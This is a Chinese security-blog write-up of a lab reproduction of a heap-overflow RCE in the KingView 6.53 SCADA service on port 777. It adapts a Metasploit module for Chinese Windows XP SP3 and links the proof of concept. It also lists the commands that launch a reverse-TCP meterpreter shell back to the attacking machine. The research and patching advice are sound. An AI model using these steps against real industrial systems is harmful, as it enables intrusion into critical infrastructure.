freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

再谈一款国内工业Scada软件的RCE漏洞
2020-12-04 14:47:47

1、概述

全球工控信息安全市场规模稳步增长当前全球范围内工业信息安全整体形势不容乐观,全球暴露在互联网上的工业控制系统及设备数量不断增多,工控安全高危漏洞频现,加上对工业控制系统实施网络攻击的门槛进一步降低,重大工业信息安全事件仍处高发态势,甚至波及能源、制造、医疗、通信、交通、市政等重要领域的关键信息基础设施。

2、第三方工业SCADA软件介绍

组态王kingview,即组态王开发监控系统软件,是新型的工业自动控制系统,它以标准的工业计算机软、硬件平台构成的集成系统取代传统的封闭式系统。

组态王kingview是亚控科技根据当前的自动化技术的发展趋势,面向低端自动化市场及应用,以实现企业一体化为目标开发的一套产品。

该产品以搭建战略性工业应用服务平台为目标,集成了对亚控科技自主研发的工业实时数据库(KingHistorian)的支持,可以为企业提供一个对整个生产流程进行数据汇总、分析及管理的有效平台,使企业能够及时有效地获取信息,及时地做出反应,以获得最优化的结果。目前该软件广泛应用于电力、石油石化等多个自动化工业领域。

3、漏洞poc简析

该漏洞的poc我已上传到网盘了,参见4.1环境准备。

此漏洞存在于KingView6.53软件的HistorySvr.exe进程中,这个软件服务程序在TCP 777端口监听时收到一个超长请求,导致堆缓冲区溢出从而执行任何代码。

发现该poc主要是针对如下两个系统的,漏洞代码中没有针对Windows XP SP3 中文版系统的。

为了进一步研究该漏洞在不同操作系统中的实现情况,本文基于Windows XP SP3 中文版系统进行进一步研究。

4、漏洞研究过程

4.1环境准备

靶机:winxp sp3(ip:192.168.10.50)

攻击机:kali linux  (ip:192.168.10.26)

工业软件及版本:kingview 6.53

漏洞poc:

链接:https://pan.baidu.com/s/1CuC3RJxcZ1mH-ZeIhLHwsA

提取码:8120

4.2 服务开启

在靶机中安装kingview 6.53工业软件,生成快捷方式如下,HistorySvr.exe进程自动运行,同时可以看到TCP 777端口已经开放


4.3 测试版poc构造

1、通过网盘链接获取漏洞poc

在poc代码中增加新的目标,Ret值随便写一个和上面一样就行

同时,仿照着增加如下代码,将shellcode的地址用“ABAC”替换,方便快速定位shellcode

将修改后的POC保存为kingview6.53overflow_attack.rb

4.4 测试版poc导入

1、在kali攻击中,如下目录放入下载的exp模块

2、进入msf,加载模块

4.5 测试版poc攻击研究

1、攻击机运行“search kingview”命令搜索漏洞

2、攻击机使用kingview6.53overflow_attack:

步骤:

use exploit/windows/scada/kingview6.53overflow_attack

set payload windows/meterpreter/reverse_tcp

set rhost 192.168.10.50

set lhost 192.168.10.26

set target 2

解释:

use exploit/windows/scada/kingview6.53overflow_attack:使用kingview6.53overflow_attack漏洞

set payload :设置payload,这里选择windows/meterpreter/reverse_tcp

set lhost :指定源IP地址(攻击机IP地址)

set rhost :指定目的IP地址(靶机IP地址)

set target 2:选择靶机操作系统


效果:


3、靶机通过OllyDbg捕获进程异常,在OllyDbg中开启”Just-in-time debugging“

4、攻击机输入“exploit”

5、回到靶机,OllyDbg捕获到进程异常:

进程中断在0x00384342处

在内存中查找ASCII字符“ABAC”

成功定位到“ABAC”地址为0x013404C0

所以shellcode地址:1607064082_5fc9da12e0258c1faf585.png!small?1607064082869

Ret地址:1607064096_5fc9da206d9130715652b.png!small?1607064096425

4.6 正式版poc构造

将kingview6.53overflow_attack.rb中的相关地址用4.5中测试研究得到的地址进行替换,更新kingview6.53overflow_attack.rb



4.7 正式版poc攻击

1、通过手动启动如下进程,恢复靶机环境,开启777端口

2、参考4.4~4.6在msf中更新模块,配置相应的攻击参数,然后执行漏洞脚本,发现漏洞成功利用,meterpreter会话成功开启

5、总结分析

本文是针对scada软件kingview的RCE漏洞进行进一步研究,通过研究,该漏洞可以成功在winxp sp3 中文版系统执行,漏洞执行成功后可远程执行未经授权的恶意代码。建议使用该软件的自动化企业及时打满补丁以绝后患。

参考资料

《Metasploit魔鬼训练营》

https://www.sohu.com/a/324816364_99922905

# 工控安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录